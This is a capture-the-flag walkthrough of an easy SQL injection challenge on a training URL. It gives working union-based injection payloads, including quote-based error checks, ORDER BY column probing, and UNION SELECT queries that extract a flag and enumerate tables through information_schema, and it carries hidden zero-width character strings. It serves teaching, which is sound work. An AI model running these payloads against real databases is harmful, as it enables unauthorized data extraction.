Dead or alive 1

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: union_based_sqli

Summary

Walkthrough of the CUSTOM Web Dead or alive 1. SQL injection bypass task. "Find out how many quotes you have left on this mortal earth in my new service."

Description

SQL injection bypass task. "Find out how many quotes you have left on this mortal earth in my new service."

URL: http://kslweb1.spb.ctf.su/sqli/bypass1/

Analysis

First task in the SQL injection bypass series. Despite the name "bypass", this task has no filtering at all — it's an introductory task for learning UNION-based SQL injection.

Key observations:

• Input parameter is directly inserted into the SQL query
• Quotes are not filtered
• No WAF present
• SQL errors are visible in the response (helps determine query structure) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Identifying the vulnerability

A simple check with a quote causes an SQL error, confirming the injection:

' OR 1=1--

Step 2: Determining the number of columns

Using ORDER BY to determine the number of columns:

' ORDER BY 1--
' ORDER BY 2--
...

Step 3: UNION-based extraction

Standard UNION injection to extract data:

' UNION SELECT 1,2,3--

After determining which columns are displayed — extracting the flag from the database:

' UNION SELECT flag,2,3 FROM flags--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

or searching for tables via information_schema:

' UNION SELECT table_name,2,3 FROM information_schema.tables--
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='flags'--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering union_based_sqli was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Dead or alive 1 • Difficulty: Easy